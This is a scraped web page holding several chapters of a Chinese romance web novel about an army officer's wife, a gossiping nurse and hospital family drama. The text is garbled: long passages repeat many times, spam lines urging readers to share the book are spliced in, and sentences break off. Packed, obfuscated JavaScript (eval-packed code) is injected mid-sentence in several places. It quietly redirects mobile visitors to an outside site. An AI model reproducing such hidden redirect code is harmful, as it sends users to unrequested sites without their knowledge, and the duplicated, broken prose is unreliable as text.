RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258218|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是那小子又反悔了？" "不是的，"沈晚轻轻摇头，"是我改变主意了。" 周卫国听到沈晚临时改主意，眉头顿时皱得更紧："这婚姻不是儿戏！当初你来找我，我劝了你那么多，你坚持说要离，现在我给你批了，你又反悔了？" 他作为一军之主，此刻不怒自威的气势让整个办公室的空气都凝重起来。 沈晚也自知理亏，低着头诚恳道歉："对不起**，是我没搞清楚状况就贸然来找您，给您添麻烦了。" 杨雪梅怕丈夫吓到小姑娘，连忙冲周卫国使了个眼色："行了，多大点事，你这么上纲上线干什么？" 她 边说边把沈晚拉到沙发前坐下 周卫国被妻子瞪得气势瞬间弱了三分但还是板着脸："这不是小事！离婚申请能随便要的吗？组织程序还要不要了？" "程序是死的人是活的嘛！"杨雪梅给沈晚倒了杯茶"小两口和好了是好事你难道真盼着他们离婚啊？" 周卫国被噎得说不出话冷哼了一声。 杨雪梅关切地询问沈晚："小沈你可以告诉我们你和沉舟到底发生什么事情了吗？" 沈晚犹豫了一下。 她不想让二人为霍沉舟的伤势担忧何况她也有把握能治好他："就是我们俩闹了一点别扭但是现在已经说开了。贸然打扰周**是我的问题给您添麻烦了。" 杨雪梅听到沈晚这么说顿时放心了："没事没事！本来按照正常的离婚流程需要双方单位出具证明经过三个月调解期才能批准。所以你们周**本来就不该随便给你们批离婚申请书！这件事说到底是他的问题你不用内疚。" 周卫国被妻子说得脸上挂不住小声嘀咕：“你别什么事都怨我嘛……” “不怨你怨谁？”杨雪梅毫不客气地怼回去"亏你还是**带头破坏纪律！" 周卫国理亏不吭声了他总不好当着沈晚的面说他其实是有私心的吧？ 第一百六十五章 划到了？流血了？ 杨雪梅："最近霍团长的伤势恢复得怎么样了？" 沈晚捡好的说："恢复得挺好的已经能下地慢慢走了。" "那就好！"杨雪梅欣慰地点头"这马上都腊月底了等沉舟恢复好了你们一家三口正好一起过个团圆年。这可是你们第一次在部队过年呢！" 沈晚听到杨雪梅这么说在心里算了算现在离春节还有不到半个月到时候霍沉舟确实应该能出院了。 她不禁开始盘算起来：东北过年要包酸菜馅饺子得提前腌酸菜；还要准备冻梨、冻柿子这些年货；部队大院除夕夜会放烟花得给小川买件新棉袄 "小沈？"杨雪梅见她出神笑着打趣"这就开始琢磨过**啦？" 沈晚不好意思地点头："嗯想好好操持一下。听说东北过年很隆重确实该好好准备一下。" 边防部队过年期间战备等级最高霍沉舟作为团长之前经常要留守部队今年又受了伤肯定是不能坐火车回老家过年了。 周卫国终于找到插话的机会："到时候来我们家吃年夜饭！你杨阿姨最拿手的就是杀猪菜！" "去去去！"杨雪梅嗔怪道"人家小两口第一个团圆年当然要自己过！" 沈晚心里暖暖的："谢谢杨主任。" 出了**办公室后沈晚回家便请教了赵晓燕东北过年的习俗。 赵晓燕一听就来了精神："这可问对人啦！咱们东北过年可有讲究了腊月二十三得祭灶王爷供上关东糖；二十四扫房日里外都得收拾利索；二十五做豆腐二十六炖大肉……" 她掰着手指头如数家珍："最要紧的是年三十儿！上午贴春联福字下午包饺子得在饺子里包几个硬币谁吃到谁来年就有福气！晚上还得守岁。" 沈晚听得认真都一一记下了既然她现在在东北就要入乡随俗过一个热闹年 “你现在不是忙吗？年货我帮你们置办！冻梨冻柿子都得备上还有粘豆包、血肠、酸菜……保准让你们过个地道的东北年！” “谢谢赵姐。” “谢啥我再给你说点咱东北过年的忌讳最要紧的是年初一不能扫地会把财气扫出去；不能动剪刀针线免得来年招惹口舌是非；还 不能打碎东西，万一碎了得赶紧说岁岁平安。 沈晚虽然不是迷信之人，但是打心底里是尊重这些习俗的：“放心吧赵姐，我都记下了。 下午，沈晚把要准备过**和霍沉舟说了。 霍沉舟靠在床上，听着沈晚一件一件地列出各种习俗，他也有点迷茫："有那么多讲究？" 沈晚正在低头削苹果，这苹果是她在服务社买的国光苹果，酸甜脆爽。 听到这话，她奇怪地抬头看了他一眼："你不是在部队过过年吗？都不懂这些吗？" 霍沉舟无奈地笑了笑："我平时忙，过年更忙，去年除夕夜还在边境巡逻，就着雪水吃了顿压缩饼干。" 这话说的好像是在故意卖惨一样。 沈晚专注地削着手里的苹果，纤细的手指捏着小刀，小心翼翼地转动着果皮。 其实她在现代吃苹果都是带皮一块吃的，偏偏这男人矫情的很，非说要削皮，她只能找护士借来一把小刀开始削皮。 刀锋贴着果肉缓缓推进，沈晚的动作并不熟练，削得又慢又厚，好几次霍沉舟都看见刀刃险险擦过她白皙的指尖，眉头不自觉地跳了跳。 他突然有点后悔撒娇要吃削皮的苹果了。 他叹了口气："给我吧。" 沈晚看了他一眼，刚想把手上的苹果递过去，病房门突然被人推开。 "沉舟！"人未到声先至，洪亮的嗓门吓得沈晚手一抖。 锋利的刀刃瞬间在她食指上划出一道细痕，血珠立刻渗了出来，沈晚倒吸一口凉气，下意识皱了皱眉。 霍沉舟脸色骤变，一把抓住她的手腕："划到了？流血了？给我看看！" 他动作太急，牵动了腰上的伤，却顾不得疼，只死死盯着她指尖那抹刺目的红。 沈晚还没反应过来，手指就被他含进了嘴里。 温热的舌尖轻轻裹住伤口，酥麻的触感让沈晚耳根发烫。 霍沉舟眼底翻涌着心疼和自责。 沈晚抽了抽手："好了，我没事，就那一点小口子。" 霍沉舟舔掉沈晚手指上的血珠后，抬眸冷冷看向门口，此时林怡宁已经看傻了，她目瞪口呆地站在原地，脑子里一片混乱：霍沉舟竟然用嘴去吮沈晚的手指？！那种温柔珍视的 模样，哪里像是要离婚的夫妻？ 她明明亲耳听见霍沉舟提出离婚，沈晚也答应了，为什么两人现在又 还没等她想明白，霍沉舟就厉声喝道："滚出去！" 林怡宁被吼得浑身一颤，结结巴巴道：“沉舟，我……” 此时霍沉舟的耐心已经到了极限："林怡宁，我和你很熟吗？谁允许你直接叫我名字的？" 他声音不大，却字字如冰锥，扎得林怡宁脸色煞白。 就算她再厚脸皮，此刻被霍沉舟这样不留情面地训斥，也待不下去了。 她扁着嘴，眼眶通红地转身就跑。 霍沉舟的注意力立刻回到沈晚手上，方才的冷厉瞬间化作心疼。 他轻轻托起她的手指，指腹摩挲着那道细小的伤口："疼不疼？" 沈晚还真没那么矫情："不疼了，就疼那么一下。" 霍沉舟却自责得不行："都怪我，我不应该让你削苹果的。"他说着想去按呼叫铃，让护士送创可贴过来。 沈晚连忙拦住他："别大惊小怪的，就破点皮而已，血早都止住了。" 霍沉舟却执意道："不行，万一感染怎么办？" 沈晚拗不过他，妥协道：“不用按呼叫铃，我自己去找护士要创可贴就行。” 三分钟后，沈晚就回来了，纤细的食指上贴着一条土黄色的医用胶布，她冲霍沉舟摆摆手："这下总行了吧？" 霍沉舟仔细看了看："嗯，这还差不多。" 他伸手从果篮里挑了个最红的苹果，拿起小刀。 只见他骨节分明的手指稳稳握住苹果，小刀在他手里灵活翻飞。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 模样，哪里像是要离婚的夫妻？ 她明明亲耳听见霍沉舟提出离婚，沈晚也答应了，为什么两人现在又 还没等她想明白，霍沉舟就厉声喝道："滚出去！" 林怡宁被吼得浑身一颤，结结巴巴道：“沉舟，我…… 此时霍沉舟的耐心已经到了极限："林怡宁，我和你很熟吗？谁允许你直接叫我名字的？" 他声音不大，却字字如冰锥，扎得林怡宁脸色煞白。 就算她再厚脸皮，此刻被霍沉舟这样不留情面地训斥，也待不下去了。 她扁着嘴，眼眶通红地转身就跑。 霍沉舟的注意力立刻回到沈晚手上，方才的冷厉瞬间化作心疼。 他轻轻托起她的手指，指腹摩挲着那道细小的伤口："疼不疼？" 沈晚还真没那么矫情："不疼了，就疼那么一下。" 霍沉舟却自责得不行："都怪我，我不应该让你削苹果的。"他说着想去按呼叫铃，让护士送创可贴过来。 沈晚连忙拦住他："别大惊小怪的，就破点皮而已，血早都止住了。" 霍沉舟却执意道："不行，万一感染怎么办？" 沈晚拗不过他，妥协道：“不用按呼叫铃，我自己去找护士要创可贴就行。 三分钟后，沈晚就回来了，纤细的食指上贴着一条土黄色的医用胶布，她冲霍沉舟摆摆手："这下总行了吧？" 霍沉舟仔细看了看："嗯，这还差不多。" 他伸手从果篮里挑了个最红的苹果，拿起小刀。 只见他骨节分明的手指稳稳握住苹果，小刀在他手里灵活翻飞。 你的朋友正在书荒，快去帮帮他吧 模样，哪里像是要离婚的夫妻？ 她明明亲耳听见霍沉舟提出离婚，沈晚也答应了，为什么两人现在又 还没等她想明白，霍沉舟就厉声喝道："滚出去！" 林怡宁被吼得浑身一颤，结结巴巴道：“沉舟，我……” 此时霍沉舟的耐心已经到了极限："林怡宁，我和你很熟吗？谁允许你直接叫我名字的？" 他声音不大，却字字如冰锥，扎得林怡宁脸色煞白。 就算她再厚脸皮，此刻被霍沉舟这样不留情面地训斥，也待不下去了。 她扁着嘴，眼眶通红地转身就跑。 霍沉舟的注意力立刻回到沈晚手上，方才的冷厉瞬间化作心疼。 他轻轻托起她的手指，指腹摩挲着那道细小的伤口："疼不疼？" 沈晚还真没那么矫情："不疼了，就疼那么一下。" 霍沉舟却自责得不行："都怪我，我不应该让你削苹果的。"他说着想去按呼叫铃，让护士送创可贴过来。 沈晚连忙拦住他："别大惊小怪的，就破点皮而已，血早都止住了。" 霍沉舟却执意道："不行，万一感染怎么办？" 沈晚拗不过他，妥协道：“不用按呼叫铃，我自己去找护士要创可贴就行。” 三分钟后，沈晚就回来了，纤细的食指上贴着一条土黄色的医用胶布，她冲霍沉舟摆摆手："这下总行了吧？" 霍沉舟仔细看了看："嗯，这还差不多。" 他伸手从果篮里挑了个最红的苹果，拿起小刀。 只见他骨节分明的手指稳稳握住苹果，小刀在他手里灵活翻飞。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 模样哪里像是要离婚的夫妻？ 她明明亲耳听见霍沉舟提出离婚沈晚也答应了为什么两人现在又 还没等她想明白霍沉舟就厉声喝道："滚出去！" 林怡宁被吼得浑身一颤结结巴巴道：“沉舟我……” 此时霍沉舟的耐心已经到了极限："林怡宁我和你很熟吗？谁允许你直接叫我名字的？" 他声音不大却字字如冰锥扎得林怡宁脸色煞白。 就算她再厚脸皮此刻被霍沉舟这样不留情面地训斥也待不下去了。 她扁着嘴眼眶通红地转身就跑。 霍沉舟的注意力立刻回到沈晚手上方才的冷厉瞬间化作心疼。 他轻轻托起她的手指指腹摩挲着那道细小的伤口："疼不疼？" 沈晚还真没那么矫情："不疼了就疼那么一下。" 霍沉舟却自责得不行："都怪我我不应该让你削苹果的。"他说着想去按呼叫铃让护士送创可贴过来。 沈晚连忙拦住他："别大惊小怪的就破点皮而已血早都止住了。" 霍沉舟却执意道："不行万一感染怎么办？" 沈晚拗不过他妥协道：“不用按呼叫铃 三分钟后沈晚就回来了纤细的食指上贴着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258219|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条土黄色的医用胶布她冲霍沉舟摆摆手："这下总行了吧？" 霍沉舟仔细看了看："嗯这还差不多。" 他伸手从果篮里挑了个最红的苹果拿起小刀。 只见他骨节分明的手指稳稳握住苹果小刀在他手里灵活翻飞。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 模样哪里像是要离婚的夫妻？ 她明明亲耳听见霍沉舟提出离婚沈晚也答应了为什么两人现在又 还没等她想明白霍沉舟就厉声喝道："滚出去！" 林怡宁被吼得浑身一颤结结巴巴道：“沉舟我……” 此时霍沉舟的耐心已经到了极限："林怡宁我和你很熟吗？谁允许你直接叫我名字的？" 他声音不大却字字如冰锥扎得林怡宁脸色煞白。 就算她再厚脸皮此刻被霍沉舟这样不留情面地训斥也待不下去了。 她扁着嘴眼眶通红地转身就跑。 霍沉舟的注意力立刻回到沈晚手上方才的冷厉瞬间化作心疼。 他轻轻托起她的手指指腹摩挲着那道细小的伤口："疼不疼？" 沈晚还真没那么矫情："不疼了就疼那么一下。" 霍沉舟却自责得不行："都怪我我不应该让你削苹果的。"他说着想去按呼叫铃让护士送创可贴过来。 沈晚连忙拦住他："别大惊小怪的就破点皮而已血早都止住了。" 霍沉舟却执意道："不行万一感染怎么办？" 沈晚拗不过他妥协道：“不用按呼叫铃我自己去找护士要创可贴就行。” 三分钟后沈晚就回来了纤细的食指上贴着一条土黄色的医用胶布她冲霍沉舟摆摆手："这下总行了吧？" 霍沉舟仔细看了看："嗯这还差不多。" 他伸手从果篮里挑了个最红的苹果 只见他骨节分明的手指稳稳握住苹果小刀在他手里灵活翻飞。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 模样，哪里像是要离婚的夫妻？ 她明明亲耳听见霍沉舟提出离婚，沈晚也答应了，为什么两人现在又 还没等她想明白，霍沉舟就厉声喝道："滚出去！" 林怡宁被吼得浑身一颤，结结巴巴道：“沉舟，我…… 此时霍沉舟的耐心已经到了极限："林怡宁，我和你很熟吗？谁允许你直接叫我名字的？" 他声音不大，却字字如冰锥，扎得林怡宁脸色煞白。 就算她再厚脸皮，此刻被霍沉舟这样不留情面地训斥，也待不下去了。 她扁着嘴，眼眶通红地转身就跑。 霍沉舟的注意力立刻回到沈晚手上，方才的冷厉瞬间化作心疼。 他轻轻托起她的手指，指腹摩挲着那道细小的伤口："疼不疼？" 沈晚还真没那么矫情："不疼了，就疼那么一下。" 霍沉舟却自责得不行："都怪我，我不应该让你削苹果的。"他说着想去按呼叫铃，让护士送创可贴过来。 沈晚连忙拦住他："别大惊小怪的，就破点皮而已，血早都止住了。" 霍沉舟却执意道："不行，万一感染怎么办？" 沈晚拗不过他，妥协道：“不用按呼叫铃，我自己去找护士要创可贴就行。 三分钟后，沈晚就回来了，纤细的食指上贴着一条土黄色的医用胶布，她冲霍沉舟摆摆手："这下总行了吧？" 霍沉舟仔细看了看："嗯，这还差不多。" 他伸手从果篮里挑了个最红的苹果，拿起小刀。 只见他骨节分明的手指稳稳握住苹果，小刀在他手里灵活翻飞。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 模样哪里像是要离婚的夫妻？ 她明明亲耳听见霍沉舟提出离婚沈晚也答应了为什么两人现在又 还没等她想明白霍沉舟就厉声喝道："滚出去！" 林怡宁被吼得浑身一颤结结巴巴道：“沉舟我……” 此时霍沉舟的耐心已经到了极限："林怡宁我和你很熟吗？谁允许你直接叫我名字的？" 他声音不大却字字如冰锥扎得林怡宁脸色煞白。 就算她再厚脸皮此刻被霍沉舟这样不留情面地训斥也待不下去了。 她扁着嘴眼眶通红地转身就跑。 霍沉舟的注意力立刻回到沈晚手上方才的冷厉瞬间化作心疼。 他轻轻托起她的手指指腹摩挲着那道细小的伤口："疼不疼？" 沈晚还真没那么矫情："不疼了就疼那么一下。" 霍沉舟却自责得不行："都怪我我不应该让你削苹果的。"他说着想去按呼叫铃让护士送创可贴过来。 沈晚连忙拦住他："别大惊小怪的就破点皮而已血早都止住了。" 霍沉舟却执意道："不行 沈晚拗不过他妥协道：“不用按呼叫铃我自己去找护士要创可贴就行。” 三分钟后沈晚就回来了纤细的食指上贴着一条土黄色的医用胶布她冲霍沉舟摆摆手："这下总行了吧？" 霍沉舟仔细看了看："嗯这还差不多。" 他伸手从果篮里挑了个最红的苹果拿起小刀。 只见他骨节分明的手指稳稳握住苹果小刀在他手里灵活翻飞。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 第一百六十六章 拿上你的东西，滚吧 刀刃贴着果皮匀速推进，削出的皮宽窄均匀，连成一条完美的长带垂落下来。不到一分钟，一个浑圆光洁的苹果就递到了沈晚面前。 "给。"霍沉舟把削好的苹果塞进她手里，自己则拿起之前沈晚削得坑坑洼洼的那个，毫不在意地咬了一大口：“还是你削的比较甜。” 沈晚低头咬了一口苹果，清甜的汁水瞬间在口中迸开，带着淡淡的果香，她满足地眯起眼睛，像只偷腥的小猫。 啃着啃着，她有点累了，干脆身子往后一躺，直接倒在了陪护床上，两条小腿悬在床沿外，无意识地轻轻晃荡着，鞋尖一点一点的。 霍沉舟看着她这副慵懒可爱的模样，嘴角不自觉上扬。 "最近辛苦你了，等我伤好了，一定好好补偿你。"明明是正常的感激的话，但从霍沉舟嘴里说出来，配上他意味深长的眼神，就显得不那么正经了。 沈晚问他："你今天早上感觉怎么样？" 霍沉舟轻咳一声："比昨天状态好一点。" "继续努力。"沈晚一本正经地点头。 霍沉舟："好。"他总觉得每天都要和媳妇讨论这种私密问题，实在有些难为情。 等沈晚从病房出来后，径直去了护士站，找护士长投诉了胡春芳，护士长保证会向上级反应，一定给她一个满意的答复。 等沈晚一走，护士长立马沉着脸去找胡春芳。 此时胡春芳正对着小镜子梳她的刘海，边梳边和冯雪抱怨："冯雪，你说沈晚是不是针对我？明明当时大家都在议论，她偏偏就只找我的事！" 冯雪在一旁神情尴尬。 作为好姐妹，她总不能说当时就胡春芳说的话最难听，其他护士只是随口讨论了几句，就胡春芳非要添油加醋造谣沈顾问和霍团长的私事，还说得有鼻子有眼的。 "这我也不知道，"冯雪支支吾吾道，"但是看昨天沈顾问的架势，应该不像是吓唬人的。春芳，你要不然先去找护士长道个歉？" 胡春芳撇了撇嘴，翘着兰花指整理头发："好吧，我待会儿……" 她话未说完，护士长已经冷着脸出现在值班室门口："胡春芳，过来。" 胡春芳心虚地放下梳子，慢吞吞走到护士长面前："护士长，有事吗？" "有事吗？你说呢？"护士长冷笑一声，"随便造谣军官家属，胆子可真大啊！你的实习提前结束，现在就可以收拾东西走了。" 胡春芳原本以为就算沈晚告状，最多也就是罚她写检查或者扣奖金，没想到竟然直接开除！ 她立马不乐意了："凭什么啊？我就是说了几句闲话而已，医院里谁不说啊？凭什么就开除我一个人！" 护士长更不耐烦了："你管人家怎么说呢？至少人家没被投诉到我那里！你现在抓紧自己办离职，不然我就让保卫科来请你出去！" 说完，护士长直接转身走了，留下胡春芳呆若木鸡地站在原地。 冯雪小心翼翼地上前安慰："春芳，要不你还是去和沈顾问道个歉？" 胡春芳咬了咬下唇，她是真的不想丢掉这份工作。 家里花了那么多钱托关系才把她弄进医院，要是让父母知道她连实习期都没过，怕是要骂死她。 她只好忍下心口的恶气，去部队服务社买了两罐麦乳精和一罐黑蜂雪蜜，然后找到了家属院。 胡春芳拎着东西进了大院，打量了一圈，不知道哪家是霍团长家，便拉了个人问道："同志，你知道霍团长家在哪吗？" 她问的人正是苏琴杉。苏琴杉把她从头到脚打量了一下："你找沈晚？" "对。" "你是她什么人啊？" 胡春芳神情难看："我不是她什么人，我是医院的护士，想找她商量点事。" 现在霍家发生点啥苏琴杉都很感兴趣，她八卦地问："你找沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264508|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚什么事啊？" 胡春芳不耐烦地皱起眉："我找沈晚自然有我的事情，我又不认识你，为什么要告诉你？同志，你要是指路就好好指，不指路我就问别人去了。" 苏琴杉碰了一鼻子灰，悻悻地随手一指："就是那家。" 胡春芳便提着东西走过去，沈晚正在院子里松土。 胡春芳见她蹲在地上，衣角裤腿都沾着泥土，眼中闪过一抹嫌弃，果然是个乡下来的，就知道摆弄这些土疙瘩。 想到此行的目的，她清了清嗓子："沈顾问。" 沈晚抬头看见是胡春芳，眼中闪过一抹嫌恶："有事？" "那个我是来道歉的"胡春芳硬着头皮开口，"昨天晚上在医 院是我不对，不该乱传闲话，我现在已经深刻意识到错误了，你能不能原谅我？" 沈晚站起身，拍了拍手上的泥土，似笑非笑地看着她："说完了？" 胡春芳先是点头如捣蒜，随即又急忙把手里的网兜往前递："这是我特意买的麦乳精和黑蜂雪蜜，您大人有大量，别和我计较了。" 她声音带着哭腔，"我好不容易才托关系进的军区医院当实习护士，要是真被开除了，我爹非打断我的腿不可." 沈晚扫了一眼她手里的东西，没有伸手去接："东西我不要，道歉我也不接受。如果我不是去找你们护士长投诉，而是忍气吞声，你还会来道歉吗？" 胡春芳脸色一僵，手里的网兜尴尬地悬在半空。 "拿上你的东西，滚吧！" "你！"胡春芳终于绷不住了，脸色一阵青一阵白，"你别太不知好歹了！我都低声下气来求你了，你还想怎样？你狗仗人势！要不是因为你是霍团长的爱人，你以为你能有这么大的权利吗？一个乡下女人，真当自己是什么人物了！" 沈晚听不下去胡春芳嘴里的污言秽语，端起一旁的脸盆，直接朝她脚边泼去！ 第一百六十七章 你这儿媳妇真是宝贝 胡春芳吓得往后跳了几步，但棉鞋面还是被泼湿了。 东北腊月的冰水瞬间浸透棉鞋，刺骨的寒意让她倒吸一口凉气，脚趾冻得生疼。 "走不走？"沈晚作势要往她身上泼。 胡春芳气得浑身发抖，却只能拎着东西狼狈逃窜。在大院里其他人怪异的目光中，她灰头土脸地跑出家属院。 跑到半路，看着手里花大价钱买的麦乳精和黑蜂雪蜜，胡春芳又心疼起来。 她咬咬牙，转身钻进服务社："同志，这些东西能退不？" 售货员不耐烦："不符合规定，不能退。" "凭什么不能退！包装都没拆！你们这不是欺负人吗？" 她越闹越凶，引得其他顾客纷纷侧目。 售货员被吵得头疼，最后只好骂骂咧咧地给她退了钱："以后别来我们这买东西！" 沈晚赶走胡春芳后，换了身干净衣服，拿上钱，便打算带公婆去买身新衣服。 老两口节俭惯了，来东北这么长时间，只穿着从老家带的那两身旧衣服。 虽然林静姝手巧，总能把补丁缝成雅致的梅花、竹叶形状，但毕竟还是能看出是旧衣服。 到了招待所，楼下的服务员告诉她："霍老师老两口一早就出去了，特地交代过，说有人来找就说他们去对面那条街的教育局家属院串门了。" 沈晚点点头："谢谢。" 婆婆带她认过崔家的门，但是她没进去过。 找到那栋楼后，沈晚轻轻敲了敲门。 开门的是个挺着大肚子的年轻女人，看见沈晚时明显愣了一下，眼前的女同志杏眼水润，红唇不点而朱，整个人像是从电影画报里走出来的美人。 "你好，"女人回过神来，"你找谁？" 沈晚把她是霍文渊和林静姝的儿媳妇的身份说了，孕妇有点惊讶去：“你就是沈晚？” 沈晚奇怪地看着她："你认识我？" 崔明珠笑着摇了摇头："不认识，你先进来吧，外面冷。" 此时天空开始飘起细碎的雪花，像撒盐似的簌簌落下。 沈晚进来后，看见客厅里林静姝正和一个气质优雅的中年美妇坐在沙发上喝茶聊天。 霍文渊没在客厅里，估计在楼上。 林静姝看见儿媳妇，立马招呼她过来："小晚，你怎么来了？快过来坐。" 沈晚走过去，不等婆婆介绍便主动礼貌问好："伯母好。" 崔明珠的母亲周茹兰打量着沈晚，眼中闪过一抹惊艳："静姝，你这儿媳妇长得可真标致。" 林静姝笑呵呵的，脸上是止不住地骄傲："那是，我儿媳妇不仅长得好看，医术也好着呢！我的病都是她给治的。" 周茹兰亲切地拉沈晚坐下：“外面冷吧？喝点茶暖和暖和。 沈晚落落大方地接过茶杯，轻轻抿了一口："茶汤清亮，回甘悠长，是好茶。" 周茹兰更惊讶了："还懂茶？静姝，你这儿媳妇真是宝贝啊！" 旁边的崔明珠摸着肚子，看着自己小姑子在家里骂过无数次的沈晚，此时就坐在她面前，总觉得她和林怡宁嘴里的形象完全不同。 在林怡宁的描述中，沈晚就是个粗俗无知、靠美色上位的乡下女人。 她虽然知道小姑子是什么样的人，但心里难免对沈晚也有些偏见，还疑惑霍家这样的书香门第，怎么会容忍儿子娶这样一个女人。 但今日亲眼见到本人，崔明珠已经完全被沈晚身上那种独特的气质吸引了。 她此刻也终于明白，以自己小姑子那个善妒的性子，怕是因为嫉妒人家，才如此诋毁。 沈晚注意到崔明珠一直看着自己，温声问道："同志，你怎么一直在看我？" 崔明珠不好意思地抿唇笑了笑："我就是觉得.你长得真好看，而且有种说不出来的气质。" 她说着自己脸都红了。 沈晚没想到会被一个女同志这么真挚地夸奖，眼睛不由弯了弯。 她的目光自然地落在崔明珠隆起的肚子上，温声问道："这肚子，几个月了？"< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林静姝一听，立马拒绝："花那钱干什么？我和你爸不缺衣服穿！你们以后用钱的地方多着呢，都给自己的小家留着。" 沈晚柔声劝道："这也是沉舟的主意。他说今年又不能陪你们过年了，只能尽尽孝心，让你们得穿得暖暖和和、体体面面的。" 周茹兰也帮着劝："就是！静姝你可别扫兴。小辈们想尽孝心是多好的事啊！你看我家这两个闺女，想让她们陪着逛街都叫不动！" 崔明珠娇嗔了一句：“妈！ 第一百六十八章 拿小孩子出气 林静姝逐渐被说动了，叫上霍文渊后，三人一起去了附近的百货大楼。 沈晚先给林静姝挑了件藏蓝色的大衣，领口镶着雅致的貂毛，又配了条深红色的羊毛围巾。 给霍文渊选了件厚实的军绿色棉大衣，搭配一顶崭新的**帽，还特意买了双里面带绒毛的皮棉鞋。 虽然老两口嘴上一直说着"太破费了""不用买新的"，但当沈晚坚持付钱后，两人试穿新衣时都喜笑颜开，脸上的皱纹都舒展开来。 林静姝对着镜子照了又照："这料子真厚实，穿着暖和又显气质！" 霍文渊虽然面上要显得更淡定一点，但不停摸着新衣服的毛绒内里，眼角眉梢都透着欢喜。 沈晚又给霍小川买了一件蓝色的灯芯绒外套，领子是立领设计，扣子是仿军装的黄铜色按扣，肩膀处还带着象征性的肩袢，里面配了一件厚实的红色毛衣，显得精神又喜庆。 回到部队后，霍小川看到新衣服，眼睛顿时亮了起来："妈妈，这是给我买的吗？" "对呀，"沈晚笑着帮他换上，"这不快过年了，小朋友都要穿新衣服的。穿上试试合不合适？" 霍小川迫不及待地穿上新外套，搬来一个小板凳踩上去，这才能够到墙上的镜子。 他对着镜子左照右照："好看！妈妈买的衣服最好看！" 跳下板凳后，他拉着沈晚的手直晃："妈妈，我想穿着新衣服去医院看爸爸！让爸爸也看看我的新衣服！" 沈晚答应："好，妈妈带你去。" 晚上，沈晚带着霍小川去了医院，路上还在下小雪，沈晚便打了一把伞。 等到了医院，霍小川迫不及待地在霍沉舟面前炫耀："爸爸，你看，这是妈妈今天给我买的新衣服，好不好看？妈妈说了，过年就应该穿新衣服！" 霍沉舟看着儿子身上的新衣服，转头看向沈晚："我的呢？" 沈晚冷睨他一眼："你和小孩子比什么？而且你平常就穿军装，买什么新衣服？" 霍沉舟抿了抿唇，不说话了，但明显能看出他不爽。 霍小川趴在床边和霍沉舟聊了一会天，突然说："妈妈，我想去趟卫生间。" 沈晚起身："等一下，妈妈陪你去。" 霍小川已经跑出了门外 ："没关系的妈妈，我认识卫生间在哪！我是男子汉了，可以自己上厕所了！" 这个时候，正在医院里办离职手续的胡春芳看见霍小川从霍沉舟病房里跑出来。 她不认识这是谁，但霍沉舟有个五岁的儿子，整个部队都知道，胡春芳见他年龄差不多，便猜测他就是霍沉舟的儿子。 她想到今天被沈晚当众羞辱的场景，眼里不由闪过一丝怨恨。看着霍小川往厕所方向走去，她快步跟了上去。 "小朋友，你是想去厕所吗？"胡春芳挤出一个笑容，故意挡住去路。 霍小川抬头看见还穿着护士服的胡春芳，乖巧地点点头："是的姐姐。" 胡春芳："前面那个厕所人太多了，你去的话要排很长时间的队。我带你去另一个厕所吧？" 霍小川犹豫道："啊？" 胡春芳直接牵起他的手："放心吧，姐姐还能把你拐跑了不成？就带你去另外一个厕所。"她说着，便把霍小川往另一个方向拉。 霍小川见她身上穿着护士服，犹豫着要不要挣脱。 就在这迟疑时候，胡春芳已经把他拖到一个僻静的走廊尽头，这里灯光昏暗，两侧都是闲置的病房，没有人的身影。 霍小川心里升起一丝警惕，趁胡春芳不注意，猛地抽回手想往回跑。 但胡春芳干坏事时身形格外矫健，她一把揪住孩子的后衣领，利落地推开旁边一扇虚掩的病房门，将霍小川狠狠推了进去！ "砰"的一声，房门被迅速反锁。 霍小川踉跄着摔倒在地，起身拍打门板："放我出去！" 胡春芳怕霍小川的动静引来其他人，连忙溜走了。 她当然没胆子对霍小川做什么，只是今天受了沈晚的气，就想小小报复一下。 反正这是医院，人来人往的，关不了多久孩子就会被发现。等那时候自己早就办完离职走了，就当给沈晚一个小小的教训。 胡春芳离开后，霍小川看着黑沉沉的房间，心里有些害怕，但还是努力保持冷静。他踮起脚摸索灯的开关，蹦了好几次才终于打开灯。 房间顿时亮堂起来，霍小川心里的恐惧也消散了些。 他又开始用力拍门呼救："有人吗？放我出去！" 这时，沈晚已 经发现不对劲。她对霍沉舟说："小川这么久没回来，我去找他。" 霍沉舟皱了皱眉，他自己现在帮不了忙，只能不添乱：“去吧。” 